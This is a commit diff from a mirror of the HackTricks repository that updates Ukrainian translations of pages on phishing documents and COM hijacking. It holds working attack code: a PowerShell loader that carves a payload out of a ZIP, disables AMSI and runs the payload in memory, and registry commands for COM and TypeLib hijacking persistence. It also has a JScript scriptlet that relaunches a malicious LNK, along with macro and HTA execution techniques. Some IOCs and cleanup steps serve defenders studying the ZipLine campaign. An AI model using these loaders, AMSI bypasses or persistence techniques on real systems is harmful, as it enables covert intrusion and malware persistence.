mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
		
							parent
							
								
									88efa26558
								
							
						
					
					
						commit
						8345859139
					
				@ -1,35 +1,35 @@
 | 
				
			|||||||
# Phishing Files & Documents
 | 
					# Phishing Файли та документи
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Office Documents
 | 
					## Документи Office
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Microsoft Word виконує валідацію даних файлу перед його відкриттям. Валідація даних виконується у формі ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, файл, що аналізується, не буде відкритий.
 | 
					Microsoft Word виконує валідацію даних файлу перед його відкриттям. Валідація даних проводиться шляхом ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає будь-яка помилка, аналізований файл не буде відкрито.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Зазвичай файли Word, що містять макроси, використовують розширення `.docm`. Однак можливо перейменувати файл, змінивши розширення файлу, і все ще зберегти їх можливості виконання макросів.\
 | 
					Зазвичай файли Word, що містять макроси, мають розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\
 | 
				
			||||||
Наприклад, файл RTF за замовчуванням не підтримує макроси, але файл DOCM, перейменований в RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
 | 
					Наприклад, файл RTF за замовчуванням не підтримує макроси, але файл DOCM, перейменований у RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
 | 
				
			||||||
Ті ж самі внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint тощо).
 | 
					Ті самі внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint тощо).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Ви можете використовувати наступну команду, щоб перевірити, які розширення будуть виконані деякими програмами Office:
 | 
					Ви можете використати наступну команду, щоб перевірити, які розширення будуть виконуватися деякими програмами Office:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
assoc | findstr /i "word excel powerp"
 | 
					assoc | findstr /i "word excel powerp"
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
DOCX файли, що посилаються на віддалений шаблон (Файл – Параметри – Додатки – Керувати: Шаблони – Перейти), можуть також "виконувати" макроси.
 | 
					DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Завантаження зовнішнього зображення
 | 
					### Зовнішнє завантаження зображення
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Перейдіть до: _Вставити --> Швидкі елементи --> Поле_\
 | 
					Перейдіть до: _Insert --> Quick Parts --> Field_\
 | 
				
			||||||
_**Категорії**: Посилання та довідки, **Імена полів**: includePicture, і **Ім'я файлу або URL**:_ http://\<ip>/whatever
 | 
					_**Categories**: Links and References, **Filed names**: includePicture, і **Filename or URL**:_ http://<ip>/whatever
 | 
				
			||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Макроси Бекдор
 | 
					### Бекдор через макроси
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Можливо використовувати макроси для виконання довільного коду з документа.
 | 
					It's possible to use macros to run arbitrary code from the document.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### Автозавантажувані функції
 | 
					#### Функції автозавантаження
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Чим поширеніші вони, тим більше ймовірність, що антивірус їх виявить.
 | 
					The more common they are, the more probable the AV will detect them.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- AutoOpen()
 | 
					- AutoOpen()
 | 
				
			||||||
- Document_Open()
 | 
					- Document_Open()
 | 
				
			||||||
@ -70,8 +70,8 @@ proc.Create "powershell <beacon line generated>
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
#### Розширення документа
 | 
					#### Розширення документа
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Коли закінчите, виберіть випадаючий список **Save as type**, змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\
 | 
					Після завершення виберіть випадаючий список **Save as type**, змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\
 | 
				
			||||||
Зробіть це, тому що ви **не можете зберегти макроси всередині `.docx`** і є **стигма** **навколо** розширення, що підтримує макроси **`.docm`** (наприклад, значок ескізу має величезний `!`, і деякі веб/електронні шлюзи блокують їх повністю). Тому це **спадкове розширення `.doc` є найкращим компромісом**.
 | 
					Робіть це, оскільки ви **не можете зберегти макроси всередині `.docx`** і існує **стигма** навколо макро-увімкненого розширення **`.docm`** (напр., значок ескізу має величезний `!` і деякі веб/електронні шлюзи їх узагалі блокують). Тому це **застаріле розширення `.doc` є найкращим компромісом**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### Генератори шкідливих макросів
 | 
					#### Генератори шкідливих макросів
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -79,11 +79,11 @@ proc.Create "powershell <beacon line generated>
 | 
				
			|||||||
- [**macphish**](https://github.com/cldrn/macphish)
 | 
					- [**macphish**](https://github.com/cldrn/macphish)
 | 
				
			||||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
 | 
					- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## HTA Файли
 | 
					## Файли HTA
 | 
				
			||||||
 | 
					
 | 
				
			||||||
HTA - це програма Windows, яка **поєднує HTML та мови сценаріїв (такі як VBScript та JScript)**. Вона генерує інтерфейс користувача та виконується як "повністю довірена" програма, без обмежень моделі безпеки браузера.
 | 
					HTA — це програма для Windows, яка **поєднує HTML та скриптові мови (наприклад VBScript і JScript)**. Вона генерує інтерфейс користувача та виконується як «повністю довірена» програма, без обмежень моделі безпеки браузера.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом з **Internet Explorer**, що робить **`mshta` залежним від IE**. Тому, якщо він був видалений, HTA не зможуть виконуватися.
 | 
					HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом з **Internet Explorer**, через що **`mshta` залежний від IE**. Тому якщо його було видалено, HTA не зможуть виконуватися.
 | 
				
			||||||
```html
 | 
					```html
 | 
				
			||||||
<--! Basic HTA Execution -->
 | 
					<--! Basic HTA Execution -->
 | 
				
			||||||
<html>
 | 
					<html>
 | 
				
			||||||
@ -138,11 +138,11 @@ var_func
 | 
				
			|||||||
self.close
 | 
					self.close
 | 
				
			||||||
</script>
 | 
					</script>
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## Примус NTLM аутентифікації
 | 
					## Примушування NTLM автентифікації
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Існує кілька способів **примусити NTLM аутентифікацію "віддалено"**, наприклад, ви можете додати **невидимі зображення** до електронних листів або HTML, до яких отримувач отримуватиме доступ (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **спровокують** **аутентифікацію** лише для **відкриття папки.**
 | 
					Існує кілька способів **примусити NTLM автентифікацію "віддалено"**, наприклад, ви можете додати **невидимі зображення** до електронних листів або HTML, до яких користувач звернеться (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **спровокують** **автентифікацію** лише при **відкритті папки.**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Перевірте ці ідеї та більше на наступних сторінках:**
 | 
					**Перевірте ці ідеї та інші на наступних сторінках:**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
@ -154,11 +154,62 @@ self.close
 | 
				
			|||||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
 | 
					../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
 | 
				
			||||||
{{#endref}}
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### NTLM Реле
 | 
					### NTLM Relay
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Не забувайте, що ви можете не лише вкрасти хеш або аутентифікацію, але й **виконувати атаки NTLM реле**:
 | 
					Не забувайте, що ви можете не лише вкрасти хеш або автентифікацію, а й **perform NTLM relay attacks**:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [**Атаки NTLM реле**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 | 
					- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 | 
				
			||||||
- [**AD CS ESC8 (NTLM реле до сертифікатів)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 | 
					- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Дуже ефективні кампанії доставляють ZIP, який містить два легітимні приманкові документи (PDF/DOCX) та шкідливий .lnk. Фішка в тому, що фактичний PowerShell loader зберігається всередині сирих байтів ZIP після унікального маркера, а .lnk вирізає й запускає його повністю в пам'яті.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Типовий потік, реалізований .lnk PowerShell one-liner:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1) Знайти оригінальний ZIP у загальних шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, та батьківській директорії поточного робочого каталогу.
 | 
				
			||||||
 | 
					2) Прочитати байти ZIP і знайти хардкоджений маркер (наприклад, xFIQCV). Все, що йде після маркера — це вбудований PowerShell payload.
 | 
				
			||||||
 | 
					3) Скопіювати ZIP до %ProgramData%, розпакувати там і відкрити приманковий .docx, щоб виглядати легітимно.
 | 
				
			||||||
 | 
					4) Обійти AMSI для поточного процесу: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
 | 
				
			||||||
 | 
					5) Деобфускувати наступний етап (наприклад, видалити всі символи #) і виконати його в пам'яті.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Example PowerShell skeleton to carve and run the embedded stage:
 | 
				
			||||||
 | 
					```powershell
 | 
				
			||||||
 | 
					$marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
 | 
				
			||||||
 | 
					$paths    = @(
 | 
				
			||||||
 | 
					"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
 | 
				
			||||||
 | 
					"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
 | 
				
			||||||
 | 
					)
 | 
				
			||||||
 | 
					$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
 | 
				
			||||||
 | 
					if(-not $zip){ return }
 | 
				
			||||||
 | 
					$bytes = [IO.File]::ReadAllBytes($zip.FullName)
 | 
				
			||||||
 | 
					$idx   = [System.MemoryExtensions]::IndexOf($bytes, $marker)
 | 
				
			||||||
 | 
					if($idx -lt 0){ return }
 | 
				
			||||||
 | 
					$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
 | 
				
			||||||
 | 
					$code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
 | 
				
			||||||
 | 
					[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 | 
				
			||||||
 | 
					Invoke-Expression $code
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Примітки
 | 
				
			||||||
 | 
					- Доставку часто здійснюють через авторитетні піддомени PaaS (e.g., *.herokuapp.com) і можуть обмежувати доступ до payloads (надавати безпечні ZIPs залежно від IP/UA).
 | 
				
			||||||
 | 
					- Наступний етап часто розшифровує base64/XOR shellcode і виконує його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Persistence used in the same chain
 | 
				
			||||||
 | 
					- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{{#ref}}
 | 
				
			||||||
 | 
					../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
 | 
				
			||||||
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Пошук/IOCs
 | 
				
			||||||
 | 
					- ZIP-файли, які містять ASCII-маркер (e.g., xFIQCV), доданий до даних архіву.
 | 
				
			||||||
 | 
					- .lnk, що перераховує батьківські/користувацькі папки для пошуку ZIP і відкриває підставний документ.
 | 
				
			||||||
 | 
					- Маніпуляції з AMSI через [System.Management.Automation.AmsiUtils]::amsiInitFailed.
 | 
				
			||||||
 | 
					- Довготривалі бізнес-переписки, що закінчуються посиланнями, розміщеними на довірених PaaS-доменах.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Джерела
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
 | 
				
			||||||
 | 
					- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
@ -4,13 +4,13 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Пошук неіснуючих COM компонентів
 | 
					### Пошук неіснуючих COM компонентів
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Оскільки значення HKCU можуть бути змінені користувачами, **COM Hijacking** може бути використано як **постійний механізм**. Використовуючи `procmon`, легко знайти шукані реєстрації COM, які не існують, які зловмисник може створити для постійності. Фільтри:
 | 
					Оскільки значення HKCU можуть бути змінені користувачами, **COM Hijacking** може бути використаний як **механізм персистентності**. За допомогою `procmon` легко знайти записи реєстру COM, які шукаються, але не існують, і які атакуючий може створити для досягнення персистентності. Фільтри:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- **RegOpenKey** операції.
 | 
					- **RegOpenKey** операції.
 | 
				
			||||||
- де _Результат_ є **NAME NOT FOUND**.
 | 
					- де _Result_ — **NAME NOT FOUND**.
 | 
				
			||||||
- і _Шлях_ закінчується на **InprocServer32**.
 | 
					- і _Path_ закінчується на **InprocServer32**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Якщо ви вирішили, який неіснуючий COM наслідувати, виконайте наступні команди. _Будьте обережні, якщо ви вирішите наслідувати COM, який завантажується кожні кілька секунд, оскільки це може бути надмірно._
 | 
					Після того, як ви вирішили, який неіснуючий COM імітувати, виконайте наступні команди. _Будьте обережні, якщо ви вирішите імітувати COM, який завантажується кожні кілька секунд — це може бути надмірним._
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 | 
					New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 | 
				
			||||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
 | 
					New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
 | 
				
			||||||
@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
### Hijackable Task Scheduler COM components
 | 
					### Hijackable Task Scheduler COM components
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Windows Tasks використовують Custom Triggers для виклику COM об'єктів, і оскільки вони виконуються через Task Scheduler, легше передбачити, коли вони будуть активовані.
 | 
					Windows Tasks використовують Custom Triggers для виклику COM objects, і оскільки вони виконуються через Task Scheduler, легше передбачити, коли вони спрацюють.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 | 
					<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 | 
				
			||||||
$Tasks = Get-ScheduledTask
 | 
					$Tasks = Get-ScheduledTask
 | 
				
			||||||
@ -49,9 +49,9 @@ Write-Host
 | 
				
			|||||||
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 | 
					# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 | 
				
			||||||
# [more like the previous one...]</code></pre>
 | 
					# [more like the previous one...]</code></pre>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Перевіряючи вихідні дані, ви можете вибрати один, який буде виконуватися **кожного разу, коли користувач входить в систему**, наприклад.
 | 
					Перевіряючи вивід, ви можете вибрати завдання, яке, наприклад, буде виконуватися **кожного разу, коли користувач входить у систему**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Тепер, шукаючи CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** в **HKEY\CLASSES\ROOT\CLSID** та в HKLM і HKCU, ви зазвичай виявите, що значення не існує в HKCU.
 | 
					Якщо тепер шукати CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** в **HKEY\CLASSES\ROOT\CLSID** та в HKLM і HKCU, зазвичай ви виявите, що значення не існує в HKCU.
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
# Exists in HKCR\CLSID\
 | 
					# Exists in HKCR\CLSID\
 | 
				
			||||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
 | 
					Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
 | 
				
			||||||
@ -72,6 +72,64 @@ Name                                   Property
 | 
				
			|||||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 | 
					PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 | 
				
			||||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 | 
					Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Тоді ви можете просто створити запис HKCU, і щоразу, коли користувач входить в систему, ваш бекдор буде активовано.
 | 
					Тоді ви можете просто створити запис у HKCU — і щоразу при вході користувача ваш backdoor буде запущено.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## COM TypeLib Hijacking (script: moniker persistence)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Type Libraries (TypeLib) визначають COM-інтерфейси й завантажуються через `LoadTypeLib()`. Коли COM-сервер інстанціюється, ОС також може завантажити пов'язаний TypeLib, звернувшись до ключів реєстру під `HKCR\TypeLib\{LIBID}`. Якщо шлях TypeLib замінити на **moniker**, наприклад `script:C:\...\evil.sct`, Windows виконає scriptlet при розв'язанні TypeLib — це дає приховану персистентність, яка спрацьовує, коли зачіпаються загальні компоненти.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Це спостерігалося щодо Microsoft Web Browser control (який часто завантажується Internet Explorer, додатками з вбудованим WebBrowser і навіть `explorer.exe`).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Кроки (PowerShell)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1) Визначте TypeLib (LIBID), який використовується CLSID з високою частотою викликів. Приклад CLSID, який часто зловживається в ланцюгах malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
 | 
				
			||||||
 | 
					```powershell
 | 
				
			||||||
 | 
					$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
 | 
				
			||||||
 | 
					$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
 | 
				
			||||||
 | 
					$ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
 | 
				
			||||||
 | 
					"CLSID=$clsid  LIBID=$libid  VER=$ver"
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					2) Вкажіть шлях TypeLib для кожного користувача на локальний scriptlet, використовуючи монікер `script:` (права адміністратора не потрібні):
 | 
				
			||||||
 | 
					```powershell
 | 
				
			||||||
 | 
					$dest = 'C:\\ProgramData\\Udate_Srv.sct'
 | 
				
			||||||
 | 
					New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
 | 
				
			||||||
 | 
					Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					3) Скинути мінімальний JScript `.sct`, який перезапускає ваш основний payload (наприклад, `.lnk`, який використовується початковим ланцюгом):
 | 
				
			||||||
 | 
					```xml
 | 
				
			||||||
 | 
					<?xml version="1.0"?>
 | 
				
			||||||
 | 
					<scriptlet>
 | 
				
			||||||
 | 
					<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
 | 
				
			||||||
 | 
					<script language="JScript">
 | 
				
			||||||
 | 
					<![CDATA[
 | 
				
			||||||
 | 
					try {
 | 
				
			||||||
 | 
					var sh = new ActiveXObject('WScript.Shell');
 | 
				
			||||||
 | 
					// Re-launch the malicious LNK for persistence
 | 
				
			||||||
 | 
					var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
 | 
				
			||||||
 | 
					sh.Run(cmd, 0, false);
 | 
				
			||||||
 | 
					} catch(e) {}
 | 
				
			||||||
 | 
					]]>
 | 
				
			||||||
 | 
					</script>
 | 
				
			||||||
 | 
					</scriptlet>
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					4) Спрацьовування – відкриття IE, програми, яка вбудовує WebBrowser control, або навіть звичайна активність Explorer завантажить TypeLib та виконає scriptlet, повторно активуючи ваш ланцюжок при logon/reboot.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Очищення
 | 
				
			||||||
 | 
					```powershell
 | 
				
			||||||
 | 
					# Remove the per-user TypeLib hijack
 | 
				
			||||||
 | 
					Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
 | 
				
			||||||
 | 
					# Delete the dropped scriptlet
 | 
				
			||||||
 | 
					Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Примітки
 | 
				
			||||||
 | 
					- Ви можете застосувати ту саму логіку до інших часто використовуваних COM компонентів; завжди спочатку визначайте реальний `LIBID` з `HKCR\CLSID\{CLSID}\TypeLib`.
 | 
				
			||||||
 | 
					- На 64-bit системах ви також можете заповнити підключ `win64` для 64-bit споживачів.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Посилання
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
 | 
				
			||||||
 | 
					- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user